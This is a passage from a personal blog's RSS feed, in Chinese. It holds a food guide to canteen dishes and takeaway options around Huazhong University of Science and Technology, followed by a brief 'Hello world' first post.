<p style="text-indent: 2em">推荐<span fontsize="" color="rgb(76, 73, 72)" style="color: rgb(76, 73, 72)">临沧牛肉米线，<s>因为我现在只吃了这个</s>，总之味道不错。</span></p>
<h4 style="" id="%E4%BA%8C%E6%A5%BC">二楼</h4>
<p style="">兰州拉面</p>
<p style="text-indent: 2em">强烈推荐！价格 6 元，性价比高，你甚至还可以加一个 6.5 元的鸡腿。</p>
<p style="text-indent: 2em"><span fontsize="" color="rgb(239, 68, 68)" style="color: rgb(239, 68, 68)">*</span>用餐高峰期可能较为拥挤，很难找到空座位。</p>
<p style="text-indent: 2em">↑ 答案是端着碗，出门左转，就能看到一个神秘小房间，里面有很多座位。</p>
<p style="">拌面</p>
<p style="text-indent: 2em">好吃，闭眼买就行。</p>
<p style="text-indent: 2em">大盘鸡面只要 6 块钱，还要什么自行车呢。</p>
<h3 style="" id="%E7%B4%AB%E8%8D%86%E5%9B%AD">紫荆园</h3>
<p style="">石锅饭</p>
<p style="text-indent: 2em">吃过鸡肉的，味道感觉不错，但是我是牛肉控，以后如果有幸吃到的话可以补上这一部分。</p>
<h2 style="" id="%E5%A4%96%E5%8D%96-%2F-%E9%A5%AD%E5%BA%97">外卖 / 饭店</h2>
<blockquote>
 <p style=""><mark>“少年啊，你可知膨胀优惠为何物？”</mark></p>
 <p style="">想必很多快餐大家都吃过，这一部分并不会以菜品推荐为主。</p>
</blockquote>
<h3 style="" id="%E6%B1%89%E5%A0%A1%E7%8E%8B">汉堡王</h3>
<p style="">我愿称之为东区外卖送的最快的店。</p>
<p style=""><strong><em>水巷微韵苑</em></strong> 小程序可以外卖 14.9 元的双层汉堡，<strong><em>美团</em></strong> 也会时不时掉落高性价比优惠（线下核销居多）。</p>
<h3 style="" id="%E5%90%89%E9%87%8E%E5%AE%B6">吉野家</h3>
<p style="">放在这里只是因为我本人比较爱吃。应该不会只有我爱吃吉野家吧（</p>
<p style=""></p>
<h1 style="" id="%2F%2F-wip">// WIP</h1>
<p style=""></p>
<h2 style="" id="%E5%8F%82%E8%80%83%E8%B5%84%E6%96%99">参考资料</h2>
<p style="">[1]: <a href="https://dekrt.cn/tutorial/delicious/">华科周边美食推荐 | dekrt's blog</a></p>
<p style="">[2]: <a href="https://dekrt.cn/tutorial/dining-hall/">华科食堂美食推荐 | dekrt's blog</a></p>
<p style="">感谢华莱士哥使我的胃免于韵酒，这两篇基本上是我们整个寝室的用餐指南了（</p>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/delicious-in-hust</guid><dc:creator>GoForceX</dc:creator><category>生活</category><pubDate>Wed, 25 Sep 2024 15:39:50 GMT</pubDate></item><item><title><![CDATA[Hello world.]]></title><link>https://goforcex.top/archives/initial-commit</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=Hello%20world.&amp;url=/archives/initial-commit" width="1" height="1" alt="" style="opacity:0;">
<p style="">博客项目再开！</p>
<hr>
<p style="">希望别断更吧，大约会放一些平时学到的东西（</p>
<p style="">
 <br>
 // WIP
</p>]]></description><guid isPermaLink="false">/archives/initial-commit</guid><dc:creator>GoForceX</dc:creator><category>默认分类</category><pubDate>Tue, 24 Sep 2024 13:21:00 GMT</pubDate></item></channel></rss>